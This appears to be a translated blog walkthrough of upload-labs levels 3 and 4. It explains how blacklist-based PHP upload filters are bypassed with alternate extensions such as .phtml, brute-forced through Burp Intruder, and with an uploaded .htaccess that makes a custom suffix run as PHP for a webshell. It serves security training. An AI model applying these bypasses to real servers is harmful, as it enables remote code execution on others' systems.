File upload vulnerability-upload shooting range 3-4 clearance notes (the most detailed interpretation on the entire network)
upload third level (special suffix)
Ideas
Source code analysis
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Source code function function
- isset(): Checks whether the variable is set and not null.
- file_exists(): Check whether the file or directory exists.
- trim(): Remove spaces at both ends of the string.
- $_FILES: A global variable containing uploaded file information.
- strrchr(): Returns the last occurrence of the specified character (or substring) in the string and all subsequent characters.
- strtolower(): Convert string to lowercase.
- str_ireplace(): Ignore the case of substrings in the replacement string.
- in_array(): Checks whether the given value exists in the array.
- move_uploaded_file(): Move the uploaded file to a new location.
The workflow of this source code is as follows:
- If the user sends a POST request through the form's "submit" button, the code will execute the file upload logic.
- First, check if the upload directory exists. If it exists, continue execution, otherwise an error message is returned.
- An array of file extensions that are refused to be uploaded is defined
$deny_ext
, which contains some common dangerous file extensions (.asp, .aspx, .php, .jsp). - Get the name of the uploaded file from the form and do some processing on it, including removing the dot at the end of the filename.
- Use
strrchr
the function to get the extension in the filename and convert it to lowercase. - Use
str_ireplace
the function to remove the string "::$DATA" from the file name. - Use
trim
the function to remove leading and trailing spaces from the file extension. - Check whether the processed file extension is in the blacklist array of rejected uploads. If it does not exist in the blacklist, continue to the next step.
- Get the temporary path of the uploaded file and generate a new file name based on the timestamp and a random number.
- Use
move_uploaded_file
the function to move the temporary file to the specified upload directory and$is_upload
set the flag to true. - If the file move fails, an error message is returned.
- Finally, if the file extension is in the blacklist array that refuses to upload, the corresponding error message is returned.
Introduction to blacklist and whitelist
Blacklist verification
We analyzed from the source code that it is a back-end blacklist verification, so what is a blacklist?
The so-called blacklist is the difference set. What does it mean? Let me explain it with a small example in life:
Suppose you are an administrator of a company and you have a blacklist of employees. This blacklist lists employees who are considered unruly, contrary to company policy, or otherwise unpopular. When these employees attempt to access certain company resources or participate in specific company events, they will be blocked or denied.
In other words, as long as there are names in this list, they cannot be uploaded normally, but the blacklist is a loose verification. As long as my file or file name is not in this blacklist, it can be uploaded normally. In addition, blacklist List verification may also involve the risk of misjudgment. Administrators may miss some unwelcome input due to imperfect configuration or inexperience, or accidentally blacklist some legitimate data, causing legitimate users to be mistakenly denied access or operations.
Whitelist verification
There is a blacklist, and naturally there is a whitelist. The whitelist is the opposite of the blacklist. The blacklist denies access to those on the list. Then the whitelist means that only those on the list can access it. If my sweetheart’s whitelist only has alone, then no one can enter my heart except her.
A whitelist is a restriction and filtering mechanism that allows only specific things to pass through and rejects everything else. It specifies acceptable options or content and excludes all other options. Using a whitelist means that only well-defined entities, operations, or data can be authenticated or access a specific resource or system.
In contrast, a blacklist is a list of prohibited things that excludes certain options or content. It is the removal of specific entities, operations, or data from known unacceptable options. However, the disadvantage of blacklisting is that unknown or emerging unacceptable options may be missed, posing a risk to security.
Using a whitelisting mechanism helps prevent potential security vulnerabilities and attacks. Whitelisting can provide a higher level of security and control by allowing only known, trusted, and well-defined entities or actions to pass authentication and authorization. It prevents security issues caused by unknown or unexpected input and reduces the possibility of attackers abusing the system.
Attack ideas
Now that we know the principle of the blacklist, we have to analyze how to carry out the attack. In the apache middleware, the suffix that can parse php is not just .php. The .php suffix is only used by Apache by default. There are many suffixes that can also parse PHP files, such as:
-
.php3
: In earlier versions of PHP,.php3
used as a suffix for PHP scripts. Although less common now, some servers still support this suffix. (Starting from php5.3.0,.php3
suffix parsing is disabled by default) -
.php4
:.php3
Similar to ,.php4
it is also used by some servers as a suffix for earlier versions of PHP scripts. Although it is less used now, some servers still support it. (Same.php3
as, it is also disabled by default after php5.3.0 version) -
.php5
:.php5
is a suffix used to indicate the PHP 5 version. Some servers use this suffix to parse PHP 5 code. (It can still be used, but it also depends on whether it is disabled in the configuration file) -
.phtml
:.phtml
file is basically a mix of PHP code and HTML markup. This file extension allows developers to write and execute PHP code in the same file and embed the results directly into HTML pages. -
There are a lot of suffixes, but in summary they all need to be configured by apache to parse php files normally.
apache extended knowledge:
There is an AddType application/x-httpd-php field in the apache configuration file (httpd.conf)
As long as the suffix is added after this field, it can parse the php file normally. For example, I added a
.abcd
suffix here. After restarting the apache service, it can parse the php file normally.
After understanding the knowledge about apache parsing PHP file extensions, we can use the Intruder module of burpsuite to perform blasting traversal of suffix names.
Upload a file with the suffix php and use burpsuite to capture the packets
Send it to the Intruder module for blasting.
In the Intruder module, we use the sniper mode and add the php suffix to a payload variable for brute force enumeration.
This is the more commonly used PHP parsed name I collected, and I use it as the payload for enumeration.
The 12 packages with a byte length of 4007 all failed to be uploaded. Their names failed to pass verification no matter which letters were changed to uppercase. This is because of the influence of the function. All strtolower()
file names uploaded to the server will be automatically converted to lowercase. , except for these 12 files that failed to upload, other files were uploaded successfully, but whether it can be successfully parsed into a php file depends on whether Addtype application/x-httpd-php adds this suffix name, because we already know apache Configuration, phtml is in the list that can be parsed, now we try to see if it can be parsed successfully.
The path to find it from the response file is upload/202308291518502062.phtml.
The parsing is successful. At this level, we understand the principle of php file parsing suffix name. This is the general idea of uploading files. The subsequent tests will also be based on these as a basis to further expand the idea.
upload fourth level (.htaccess file parsing)
Ideas
The fourth level is a further expansion of the third level. When the user has strict restrictions on AddType application/x-httpd-php, for example, I can just write a custom suffix to parse php files, but other files cannot. Parsing, then we can use .htaccess file parsing to bypass user restrictions.
Analyze source code
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
This string of source code is similar to the source code of the third level. It is also a blacklist verification, but it has more restrictions on file names, including almost all commonly used suffixes. But here it does not restrict the upload of .htaccess files. We can bypass it through .htaccess files.
.htaccess file description
-
.htaccess
file is a distributed configuration file used to configure a website on the Apache server. It allows setting specific configuration rules in specific directories without modifying the server's main configuration file. -
.htaccess
Files are typically used to implement URL rewriting, redirection, access control, custom error pages, and other related configuration rules. It can override or supplement the default server configuration by adding specific directives to implement the needs of a specific website. -
.htaccess
Files can be placed anywhere in the website root directory as well as in subdirectories. Its scope depends on the directory it is located in and its subdirectories.-
When a file exists in a directory
.htaccess
, Apache automatically reads and applies the configuration rules in the file. This means that you can create different files in the website root directory and other subdirectories.htaccess
, with specific configurations for different directories. -
.htaccess
The scope of a file is the directory in which it is located and all its subdirectories. If the file exists in a higher-level directory.htaccess
, it will override the configuration in the lower-level directory.htaccess
. -
If the files in the root directory
.htaccess
do not have specific configuration rules, but the files in the website file directory have configuration rules, the configuration in the files.htaccess
in the website file directory will be executed ..htaccess
-
Turn on and off the .htaccess configuration process
Confirm that Apache has
.htaccess
overrides enabled: In the main Apache configuration file (such as confighttpd.conf
), find<Directory>
the section and make sureAllowOverride
the directive is set toAll
(or the corresponding override level) to allow.htaccess
the file's configuration rules to take effect.Create
.htaccess
a file: Create a new text file in the directory where you want to apply the configuration rules, and name it (.htaccess
note that the file name starts.
with , so there is no file name prefix in front of the file name).Edit
.htaccess
the file: Open the file with a text editor.htaccess
and add the configuration rules you want to apply. The behavior of the website can be controlled and customized using the various available directives and options.Save
.htaccess
file: Save your changes and.htaccess
upload the file to your website directory for it to take effect.Set
AllowOverride
the directiveNone
to disable files in this directory and its subdirectories.htaccess
.
.htaccess configurable basic parameters
.htaccess
Files can be used to configure various parameters and rules to customize and control the behavior of the Apache server. Here are some examples of common configuration parameters:
URL rewriting rules: Use
RewriteRule
the directive to define custom URL rewriting rules to convert complex URL paths into a more friendly and readable format.
Simple example:
- Simple path rewriting:
RewriteEngine On RewriteRule ^about$ about-us.html [L]
The above rule will
/about
redirect the toabout-us.html
page, making it easier for visitors to access the About page.
- Overriding with parameters:
RewriteEngine On RewriteRule ^products/([0-9]+)$ product.php?id=$1 [L]
The above rules will
/products/123
rewrite URLs likeproduct.php?id=123
so that the backend can handle requests for specific products and the URLs are more friendly.
- Redirect to other domain names or pages:
RewriteEngine On RewriteRule ^old-page$ http://www.example.com/new-page [R=301,L]
The above rule will
/old-page
redirect requests fromhttp://www.example.com/new-page
and return a permanently redirected status code 301. This can be used to keep old links available when updating your website.Access control: Use the
Require
orOrder
directive to restrict access to specific directories, files, or IP addresses. Access control based on IP address, user authentication, etc. can be implemented.
Simple example:
- IP address-based access control:
Order deny,allow Deny from 192.168.0.1 Allow from 10.0.0.0/24
The above rules specify access control for specific IP addresses. For IP addresses
192.168.0.1
, access will be denied; for IP address ranges10.0.0.0/24
, access will be allowed. You can add/modify allowed or denied IP addresses or ranges as needed.
- Access control based on user authentication:
AuthType Basic AuthName "Restricted Area" AuthUserFile /path/to/.htpasswd Require valid-user
The above rules implement basic user authentication. It requires users to provide valid credentials to access restricted areas. User credentials are usually stored in
.htpasswd
files. You can usehtpasswd
tools to create and manage this file.
- Access control by file type:
<Files "sensitive-file.php"> Order allow,deny Deny from all </Files>
Custom error page:
ErrorDocument
A custom error page can be defined via the directive to display a customized error message when a specific error occurs.
Simple example
- Define 404 error page:
ErrorDocument 404 /errors/not-found.html
The above rules will specify that the page should be displayed when a 404 error (file not found) occurs
/errors/not-found.html
.
- Define 500 error page:
ErrorDocument 500 /errors/server-error.html
The above rule will specify that the page should be displayed when a 500 error (internal server error) occurs
/errors/server-error.html
.Compression and cache control: You can use
mod_deflate
the andmod_expires
module's directives to enable and configure HTTP compression and cache control to improve website performance.
Simple example
- Enable compression of text files:
<IfModule mod_deflate.c> # Enable compression AddOutputFilterByType DEFLATE text/html text/plain text/xml # Set compression level (optional) DeflateCompressionLevel 6 </IfModule>
The above rules enable compression of text files such as HTML, plain text, and XML. Use
AddOutputFilterByType
the directive to compress files of the specified MIME type. You can add other MIME types as needed.
- Enable cache control:
<IfModule mod_expires.c> # Enable expiration headers ExpiresActive On # Cache control for different file types ExpiresByType text/html "access plus 1 week" ExpiresByType image/png "access plus 1 month" </IfModule>
MIME type settings: Use the
AddType
andAddHandler
directives to associate specific MIME types and file extensions.
Simple example
- Set the MIME type of text files:
AddType text/plain .txt AddType text/html .html .htm
The above rules associate file extensions
.txt
to MIME typestext/plain
and file extensions.html
and.htm
to MIME typestext/html
. This will tell the server how to handle these file types correctly.
- Set the MIME type of image files:
AddType application/x-httpd-php .php
The above rules associate file extensions
.php
to MIME typesapplication/x-httpd-php
. This tells the server to use the PHP parser to handle.php
files with the extension.
- Set the handler for the script file:
AddHandler php-script .php
The above rules associate file extensions
.php
to PHP handlers..php
This tells the server to use the PHP parser to process and execute scripts for files with extensions.Force HTTPS: Use the
RewriteCond
andRewriteRule
directives to force HTTPS redirection of a website or specific page.
Simple example:
- Force the entire website to use HTTPS:
RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
The above rule will check if the connection is HTTP (i.e. not HTTPS) and if so, redirect to the same URL prepended with
https://
301 (permanent redirect).
- To force specific pages to use HTTPS:
RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^(secure-page\.html)$ https://%{HTTP_HOST}/$1 [L,R=301]
The above rule will only
secure-page.html
redirect pages containing in the URL. If the connection is non-HTTPS, redirect to the HTTPS version of the same page.Directory index: Use
Options
the directive to control whether the list index is displayed in the website directory.
Simple example:
- Disable directory indexing:
Options -Indexes
The above rules will disable directory indexing, so that when a directory is accessed without specifying a specific file, the server will not display a list of files in the directory.
- Enable directory indexing:
Options +Indexes
The above rules will enable directory indexing. By default, when a directory is accessed without specifying a specific file, the server will display a list of files in that directory.
These are just some common use case examples. .htaccess
Files have a wider range of functions and can customize and control almost every aspect of the Apache server. .htaccess
Files provide powerful configuration capabilities, allowing us to make various customizations to the Apache server. With proper usage and configuration .htaccess
files, you can control Apache to do almost anything.
Attack ideas
As mentioned above, the .htaccess file is a very powerful configuration file. When used for file upload, it is simply overkill. The following are some potential security risks.
- Redirect attacks: Hackers can modify redirect rules to redirect legitimate users to malicious sites for phishing attacks or to distribute malware.
- Directory traversal attacks: Hackers can use
.htaccess
files to bypass server configuration, perform directory traversal attacks, and gain unauthorized access to files and directories. - Authentication vulnerabilities: Hackers can modify authentication rules to bypass user authentication or weaken access controls to gain unauthorized access to restricted resources.
- Malicious rewrite rules: Hackers can add malicious URL rewrite rules to redirect requests to malicious code for performing worms, injection attacks, or other malicious activities.
- PHP parsing: hackers can modify the parsing suffix to execute malicious webshell Trojan files
Now that we know .htaccess
how powerful it is, let’s continue to try how to pass the fourth level. The fourth level allows .htaccess
uploading without restrictions. We can create a new .htaccess
file .
It means that .aaaa
files with the suffix can be parsed in the browser as php files.
Uploading a .aaaa
webshell Trojan with the suffix
All have been uploaded successfully. Let's see .aaaa
if the files with the suffix can be parsed normally.
ok has been parsed normally. Being able to run the phpinfo() function means that it can also execute other PHP codes.
Summarize
- A blacklist is a list of things that are prohibited or not allowed, whereas a whitelist is the opposite of a blacklist, it is a list of things that are allowed or allowed. Blacklists are typically used to intercept or block known malicious behavior, while whitelists are used to only allow specific legal behavior.
- By configuring addType application/x-htppd-php in the httpd.conf file of apache, as long as the suffix added in the configuration can be parsed into php files by the web page, this allows the server to treat these files as PHP scripts and execute them Which PHP code.
- The .htaccess file in Apache is a very powerful file. Once an attacker uploads the .htaccess file to the server, it will have very serious consequences. When using the .htaccess file, you need to pay attention to the permission settings to ensure that the file is readable. , writable, and executable. Additionally, rules should be configured carefully to prevent misconfigurations or security vulnerabilities. Regularly review and monitor .htaccess files and fix problems in a timely manner to ensure the security and stability of the website.